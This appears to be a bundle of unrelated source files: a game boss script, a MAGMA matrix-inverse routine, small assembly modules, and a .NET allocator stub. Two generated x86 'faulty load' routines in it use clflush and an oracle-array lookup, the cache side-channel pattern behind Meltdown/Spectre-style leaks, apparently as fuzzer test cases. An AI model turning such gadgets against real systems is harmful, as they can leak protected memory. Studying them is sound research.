m_uiSandTrapTimer = urand(5000, 10000);
m_uiTrashTimer = urand(1000, 5000);
m_uiWideSlashTimer = urand(10000, 15000);
m_uiTrapTriggerTimer = 0;
}
void JustSummoned(GameObject* pGo) override
{
if (pGo->GetEntry() == GO_SAND_TRAP)
{
m_uiTrapTriggerTimer = 3000;
m_sandtrapGuid = pGo->GetObjectGuid();
}
}
void UpdateAI(const uint32 uiDiff) override
{
if (!m_creature->SelectHostileTarget() || !m_creature->getVictim())
{
return;
}
// If we are belowe 30% HP cast enrage
if (!m_bEnraged && m_creature->GetHealthPercent() <= 30.0f)
{
if (DoCastSpellIfCan(m_creature, SPELL_ENRAGE) == CAST_OK)
{
m_bEnraged = true;
}
}
// Mortal Wound
if (m_uiMortalWoundTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature->getVictim(), SPELL_MORTAL_WOUND) == CAST_OK)
{
m_uiMortalWoundTimer = urand(8000, 10000);
}
}
else
{ m_uiMortalWoundTimer -= uiDiff; }
// Sand Trap
if (m_uiSandTrapTimer < uiDiff)
{
Unit* pTarget = m_creature->SelectAttackingTarget(ATTACKING_TARGET_RANDOM, 1);
if (!pTarget)
{
pTarget = m_creature->getVictim();
}
pTarget->CastSpell(pTarget, SPELL_SANDTRAP, true, NULL, NULL, m_creature->GetObjectGuid());
m_uiSandTrapTimer = urand(10000, 15000);
}
else
{ m_uiSandTrapTimer -= uiDiff; }
// Trigger the sand trap in 3 secs after spawn
if (m_uiTrapTriggerTimer)
{
if (m_uiTrapTriggerTimer <= uiDiff)
{
if (GameObject* pTrap = m_creature->GetMap()->GetGameObject(m_sandtrapGuid))
{
pTrap->Use(m_creature);
}
m_uiTrapTriggerTimer = 0;
}
else
{
m_uiTrapTriggerTimer -= uiDiff;
}
}
// Wide Slash
if (m_uiWideSlashTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature->getVictim(), SPELL_WIDE_SLASH) == CAST_OK)
{
m_uiWideSlashTimer = urand(12000, 15000);
}
}
else
{ m_uiWideSlashTimer -= uiDiff; }
// Trash
if (m_uiTrashTimer < uiDiff)
{
if (DoCastSpellIfCan(m_creature->getVictim(), SPELL_TRASH) == CAST_OK)
{
m_uiTrashTimer = urand(12000, 17000);
}
}
else
{ m_uiTrashTimer -= uiDiff; }
DoMeleeAttackIfReady();
}
};
CreatureAI* GetAI_boss_kurinnaxx(Creature* pCreature)
{
return new boss_kurinnaxxAI(pCreature);
}
void AddSC_boss_kurinnaxx()
{
Script* pNewScript;
pNewScript = new Script;
pNewScript->Name = "boss_kurinnaxx";
pNewScript->GetAI = &GetAI_boss_kurinnaxx;
pNewScript->RegisterSelf();
}
|
/*
-- MAGMA (version 2.5.4) --
Univ. of Tennessee, Knoxville
Univ. of California, Berkeley
Univ. of Colorado, Denver
@date October 2020
@author Azzam Haidar
@author Tingxing Dong
@author Ahmad Abdelfattah
@generated from src/zgetri_outofplace_batched.cpp, normal z -> d, Thu Oct 8 23:05:31 2020
*/
#include "magma_internal.h"
#include "batched_kernel_param.h"
/***************************************************************************//**
Purpose
-------
DGETRI computes the inverse of a matrix using the LU factorization
computed by DGETRF. This method inverts U and then computes inv(A) by
solving the system inv(A)*L = inv(U) for inv(A).
Note that it is generally both faster and more accurate to use DGESV,
or DGETRF and DGETRS, to solve the system AX = B, rather than inverting
the matrix and multiplying to form X = inv(A)*B. Only in special
instances should an explicit inverse be computed with this routine.
Arguments
---------
@param[in]
n INTEGER
The order of the matrix A. N >= 0.
@param[in,out]
dA_array Array of pointers, dimension (batchCount).
Each is a DOUBLE PRECISION array on the GPU, dimension (LDDA,N)
On entry, the factors L and U from the factorization
A = P*L*U as computed by DGETRF_GPU.
On exit, if INFO = 0, the inverse of the original matrix A.
@param[in]
ldda INTEGER
The leading dimension of the array A. LDDA >= max(1,N).
@param[in]
dipiv_array Array of pointers, dimension (batchCount), for corresponding matrices.
Each is an INTEGER array, dimension (N)
The pivot indices; for 1 <= i <= min(M,N), row i of the
matrix was interchanged with row IPIV(i).
@param[out]
dinvA_array Array of pointers, dimension (batchCount).
Each is a DOUBLE PRECISION array on the GPU, dimension (LDDIA,N)
It contains the inverse of the matrix
@param[in]
lddia INTEGER
The leading dimension of the array invA_array. LDDIA >= max(1,N).
@param[out]
info_array Array of INTEGERs, dimension (batchCount), for corresponding matrices.
- = 0: successful exit
- < 0: if INFO = -i, the i-th argument had an illegal value
or another error occured, such as memory allocation failed.
- > 0: if INFO = i, U(i,i) is exactly zero. The factorization
has been completed, but the factor U is exactly
singular, and division by zero will occur if it is used
to solve a system of equations.
@param[in]
batchCount INTEGER
The number of matrices to operate on.
@param[in]
queue magma_queue_t
Queue to execute in.
@ingroup magma_getri_batched
*******************************************************************************/
extern "C" magma_int_t
magma_dgetri_outofplace_batched( magma_int_t n,
double **dA_array, magma_int_t ldda,
magma_int_t **dipiv_array,
double **dinvA_array, magma_int_t lddia,
magma_int_t *info_array,
magma_int_t batchCount, magma_queue_t queue)
{
#define dAarray(i,j) dA_array, i, j
#define dinvAarray(i,j) dinvA_array, i, j
/* Local variables */
magma_int_t info = 0;
if (n < 0)
info = -1;
else if (ldda < max(1,n))
info = -3;
else if (lddia < max(1,n))
info = -6;
if (info != 0) {
magma_xerbla( __func__, -(info) );
return info;
}
/* Quick return if possible */
if ( n == 0 )
return info;
magma_int_t ib, j;
magma_int_t nb = 256;
// set dinvdiagA to identity
magmablas_dlaset_batched( MagmaFull, n, n, MAGMA_D_ZERO, MAGMA_D_ONE, dinvA_array, lddia, batchCount, queue );
for (j = 0; j < n; j += nb) {
ib = min(nb, n-j);
// dinvdiagA * Piv' = I * U^-1 * L^-1 = U^-1 * L^-1 * I
// solve lower
magmablas_dtrsm_recursive_batched(MagmaLeft, MagmaLower, MagmaNoTrans, MagmaUnit,
n-j, ib, MAGMA_D_ONE,
dAarray(j, j), ldda,
dinvAarray(j, j), lddia,
batchCount, queue);
// solve upper
magmablas_dtrsm_recursive_batched( MagmaLeft, MagmaUpper, MagmaNoTrans, MagmaNonUnit,
n, ib, MAGMA_D_ONE,
dAarray(0, 0), ldda,
dinvAarray(0, j), lddia,
batchCount, queue);
}
// Apply column interchanges
magma_dlaswp_columnserial_batched( n, dinvA_array, lddia, max(1,n-1), 1, dipiv_array, batchCount, queue );
magma_queue_sync(queue);
return info;
#undef dAarray
#undef dinvAarray
}
|
SECTION code_fp_math48
PUBLIC ___uint2fs_callee
EXTERN cm48_sdcciyp_uint2ds_callee
defc ___uint2fs_callee = cm48_sdcciyp_uint2ds_callee
|
/*
* Copyright 2013–2020 Kullo GmbH
*
* This source code is licensed under the 3-clause BSD license. See LICENSE.txt
* in the root directory of this source tree for details.
*/
#include "kulloaddresshelper.h"
#include <QStringList>
#include <kulloclient/api/AddressHelpers.h>
#include <kulloclient/api_impl/Address.h>
#include <kulloclient/util/assert.h>
namespace DesktopUtil {
bool KulloAddressHelper::isValidKulloAddress(const QString &address)
{
return !!Kullo::Api::AddressHelpers::create(address.toStdString());
}
bool KulloAddressHelper::isValidKulloDomain(const QString &domain)
{
const QString testAddress = "test#" + domain;
return isValidKulloAddress(testAddress);
}
bool KulloAddressHelper::kulloAddressEqual(const QString &lhs, const QString &rhs)
{
auto address1 = *Kullo::Api::AddressHelpers::create(lhs.toStdString());
auto address2 = *Kullo::Api::AddressHelpers::create(rhs.toStdString());
return address1 == address2;
}
QStringList KulloAddressHelper::splitKulloAddress(const QString &address)
{
kulloAssert(isValidKulloAddress(address));
return address.split('#');
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r13
push %r8
push %rcx
push %rdx
push %rsi
// Load
lea addresses_RW+0x1d581, %rcx
nop
nop
nop
nop
nop
inc %r13
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $1, %xmm4, %r11
nop
nop
nop
sub $46172, %r11
// Store
mov $0x6642500000000381, %r13
nop
nop
nop
sub $19773, %r8
mov $0x5152535455565758, %rsi
movq %rsi, (%r13)
nop
nop
nop
nop
add $48708, %r8
// Faulty Load
mov $0x6642500000000381, %r10
clflush (%r10)
nop
dec %rcx
mov (%r10), %r13d
lea oracles, %r11
and $0xff, %r13
shlq $12, %r13
mov (%r11,%r13,1), %r13
pop %rsi
pop %rdx
pop %rcx
pop %r8
pop %r13
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 9, 'NT': False, 'type': 'addresses_RW', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'58': 21814, '00': 15}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WC_ht+0x11b22, %rsi
lea addresses_WT_ht+0x8b6a, %rdi
nop
nop
add %r8, %r8
mov $61, %rcx
rep movsw
nop
xor %r14, %r14
lea addresses_normal_ht+0x1a38a, %r14
xor $1247, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm7
vmovups %ymm7, (%r14)
nop
cmp $56855, %rdx
lea addresses_WT_ht+0x8b62, %rsi
lea addresses_D_ht+0xe262, %rdi
nop
nop
cmp %r13, %r13
mov $7, %rcx
rep movsq
xor %rdi, %rdi
lea addresses_WT_ht+0x14aa2, %rsi
lea addresses_D_ht+0xb086, %rdi
nop
xor $15167, %r9
mov $95, %rcx
rep movsw
nop
nop
nop
dec %rdi
lea addresses_WC_ht+0x2ea2, %r8
nop
nop
nop
nop
nop
sub $59512, %r14
mov (%r8), %rdi
nop
nop
nop
nop
sub $21845, %rdx
lea addresses_UC_ht+0x182a2, %rsi
lea addresses_UC_ht+0x12a2, %rdi
nop
nop
add $17638, %r8
mov $22, %rcx
rep movsq
nop
sub %rdx, %rdx
lea addresses_D_ht+0x68ca, %r14
nop
nop
sub %rdx, %rdx
movups (%r14), %xmm2
vpextrq $1, %xmm2, %r8
nop
and $30292, %r14
lea addresses_WC_ht+0x17ea2, %rsi
add %rdi, %rdi
mov (%rsi), %r13
nop
xor $46012, %rdx
lea addresses_UC_ht+0x17c02, %r9
nop
nop
nop
nop
nop
dec %rdx
movb $0x61, (%r9)
nop
nop
nop
nop
nop
xor $2934, %rcx
lea addresses_A_ht+0x11782, %rsi
lea addresses_normal_ht+0x7282, %rdi
nop
nop
nop
nop
and $54739, %rdx
mov $68, %rcx
rep movsb
nop
nop
nop
sub %r14, %r14
lea addresses_UC_ht+0x18fa2, %rsi
lea addresses_normal_ht+0xf4a2, %rdi
clflush (%rdi)
add $1765, %r13
mov $81, %rcx
rep movsl
nop
nop
and $20123, %r14
lea addresses_UC_ht+0x1dea2, %r9
nop
nop
nop
cmp %rcx, %rcx
mov (%r9), %dx
nop
dec %r9
lea addresses_UC_ht+0x1a882, %rsi
nop
nop
nop
nop
xor %r9, %r9
mov (%rsi), %rcx
nop
nop
nop
nop
nop
add %r13, %r13
lea addresses_UC_ht+0x18aa2, %rdi
nop
nop
nop
sub $6988, %r13
movb (%rdi), %r14b
cmp %r13, %r13
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r9
push %rax
push %rbp
push %rcx
push %rdi
push %rdx
// Store
lea addresses_RW+0x1a306, %r9
nop
inc %rcx
mov $0x5152535455565758, %rdx
movq %rdx, %xmm4
movups %xmm4, (%r9)
nop
nop
nop
nop
nop
xor %rdi, %rdi
// Store
lea addresses_WT+0x78a2, %rdi
nop
nop
cmp $3210, %rbp
movw $0x5152, (%rdi)
nop
nop
nop
cmp $56316, %rbp
// Load
lea addresses_WC+0xa3a2, %rbp
nop
nop
and $52878, %rax
vmovups (%rbp), %ymm6
vextracti128 $0, %ymm6, %xmm6
vpextrq $0, %xmm6, %rdx
nop
and %r14, %r14
// Load
lea addresses_normal+0x1cd22, %rdi
nop
nop
xor %rbp, %rbp
vmovups (%rdi), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $1, %xmm3, %r9
nop
nop
nop
nop
nop
cmp %rax, %rax
// Store
mov $0xc22, %rcx
nop
xor $33395, %rdi
mov $0x5152535455565758, %rbp
movq %rbp, (%rcx)
nop
nop
nop
nop
nop
cmp $2645, %rax
// Store
lea addresses_UC+0x16a2, %rcx
sub $53281, %rbp
movw $0x5152, (%rcx)
nop
sub %rbp, %rbp
// Store
lea addresses_normal+0xb6a2, %rax
cmp %rbp, %rbp
movb $0x51, (%rax)
add %rdi, %rdi
// Faulty Load
lea addresses_normal+0x3aa2, %rax
nop
and $59026, %rdi
vmovups (%rax), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $0, %xmm4, %r9
lea oracles, %r14
and $0xff, %r9
shlq $12, %r9
mov (%r14,%r9,1), %r9
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r9
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': True}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 3, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': True, 'congruent': 10, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 5, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': True}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 9, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 10, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': False}}
{'34': 2905}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
; A219603: a(n) = prime(n) * prime(2*n-1).
; Submitted by Christian Krause
; 4,15,55,119,253,403,697,893,1357,1943,2263,3071,3977,4429,5123,6731,8083,9089,10519,11857,13067,15089,16351,18779,22019,23533,24823,27499,29321,31301,35941,40217,42881,46009,51703,53303,57619,61777,64963,69373,75001,78011,83849,86657,90817,92933,102757,111277,115543,119767,127451,134557,137611,147337,153943,159641,165973,171001,178111,183493,187063,198361,212137,220499,227551,234263,248581,256457,268231,278153,286283,295457,304243,318169,325561,335891,343487,360079,368519,383233,396793,407107
mov $2,$0
seq $0,40 ; The prime numbers.
mul $2,2
seq $2,40 ; The prime numbers.
mul $0,$2
|
; DV3 Standard Floppy Disk Control Procedures V3.01 1993 Tony Tebby
;
; 2018-03-09 3.01 Fixed overflow in fd_step, tried to set 5 drives (MK)
section exten
xdef fd_thing
xdef fd_tname
xref dv3_density
xref thp_wd
xref thp_ostr
xref thp_ochr
xref dv3_usep
include 'dev8_keys_thg'
include 'dev8_keys_err'
include 'dev8_mac_thg'
include 'dev8_mac_assert'
include 'dev8_dv3_keys'
include 'dev8_dv3_fd_keys'
fd_2byte dc.w thp.ubyt ; drive (or step)
dc.w thp.ubyt+thp.opt+thp.nnul ;
dc.w 0
;+++
; FLP Thing NAME
;---
fd_tname dc.b 0,11,'FLP Control',$a
;+++
; This is the Thing with the FLP extensions
;---
fd_thing
;+++
; FLP_USE xxx
;---
flp_use thg_extn {USE },flp_sec,thp_ostr
jmp dv3_usep
;+++
; FLP_SEC n
;---
flp_sec thg_extn {SEC },flp_start,thp_wd
moveq #1,d0
cmp.l (a1),d0 ; security > 1
slo fdl_sec-ddl_thing(a2)
moveq #0,d0
rts
;+++
; FLP_START
;---
flp_start thg_extn {STRT},flp_track,thp_wd
move.b 3(a1),fdl_rnup-ddl_thing(a2)
moveq #0,d0
rts
;+++
; FLP_TRACK
;---
flp_track thg_extn {TRAK},flp_density,thp_wd
move.w 2(a1),fdl_maxt-ddl_thing(a2)
moveq #0,d0
rts
;+++
; FLP_DENSITY
;---
flp_density thg_extn {DENS},flp_step,thp_ochr
fdd.reg reg d2
move.l d2,-(sp)
moveq #-1,d2
move.b 3(a1),d0 ; name
beq.s fdd_dset
jsr dv3_density
bne.s fdd_ipar
fdd_dset
move.b d2,fdl_defd-ddl_thing(a2)
move.l (sp)+,d2
moveq #0,d0
rts
fdd_ipar
move.l (sp)+,d2
moveq #err.ipar,d0
rts
;+++
; FLP_STEP
;---
flp_step thg_extn {STEP},,fd_2byte
fds.reg reg d1/a0
movem.l fds.reg,-(sp)
lea fdl_step-ddl_thing(a2),a0
move.l (a1)+,d1 ; drive or step rate
move.l (a1),d0 ; two params?
blt.s fds_all ; ... no
cmp.b fdl_maxd-ddl_thing(a2),d1 ; too high?
bhi.s fds_ipar
move.b d0,-1(a0,d1.l) ; set step
bra.s fds_ok
fds_all
moveq #3,d0
fds_loop
move.b d1,(a0)+ ; set step
dbra d0,fds_loop
fds_ok
moveq #0,d0
fds_exit
movem.l (sp)+,fds.reg
rts
fds_ipar
moveq #err.ipar,d0
bra.s fds_exit
end
|
;; Licensed to the .NET Foundation under one or more agreements.
;; The .NET Foundation licenses this file to you under the MIT license.
.586
.model flat
option casemap:none
.code
include AsmMacros.inc
;; Allocate non-array, non-finalizable object. If the allocation doesn't fit into the current thread's
;; allocation context then automatically fallback to the slow allocation path.
;; ECX == MethodTable
FASTCALL_FUNC RhpNewFast, 4
;; edx = GetThread(), TRASHES eax
INLINE_GETTHREAD edx, eax
;;
;; ecx contains MethodTable pointer
;;
mov eax, [ecx + OFFSETOF__MethodTable__m_uBaseSize]
;;
;; eax: base size
;; ecx: MethodTable pointer
;; edx: Thread pointer
;;
add eax, [edx + OFFSETOF__Thread__m_alloc_context__alloc_ptr]
cmp eax, [edx + OFFSETOF__Thread__m_alloc_context__alloc_limit]
ja AllocFailed
;; set the new alloc pointer
mov [edx + OFFSETOF__Thread__m_alloc_context__alloc_ptr], eax
;; calc the new object pointer
sub eax, [ecx + OFFSETOF__MethodTable__m_uBaseSize]
;; set the new object's MethodTable pointer
mov [eax], ecx
ret
AllocFailed:
;;
;; ecx: MethodTable pointer
;;
push ebp
mov ebp, esp
PUSH_COOP_PINVOKE_FRAME edx
;; Preserve MethodTable in ESI.
mov esi, ecx
;; Push alloc helper arguments
push edx ; transition frame
push 0 ; numElements
xor edx, edx ; Flags
;; Passing MethodTable in ecx
;; void* RhpGcAlloc(MethodTable *pEEType, uint32_t uFlags, uintptr_t numElements, void * pTransitionFrame)
call RhpGcAlloc
test eax, eax
jz NewFast_OOM
POP_COOP_PINVOKE_FRAME
pop ebp
ret
NewFast_OOM:
;; This is the failure path. We're going to tail-call to a managed helper that will throw
;; an out of memory exception that the caller of this allocator understands.
mov eax, esi ; Preserve MethodTable pointer over POP_COOP_PINVOKE_FRAME
POP_COOP_PINVOKE_FRAME
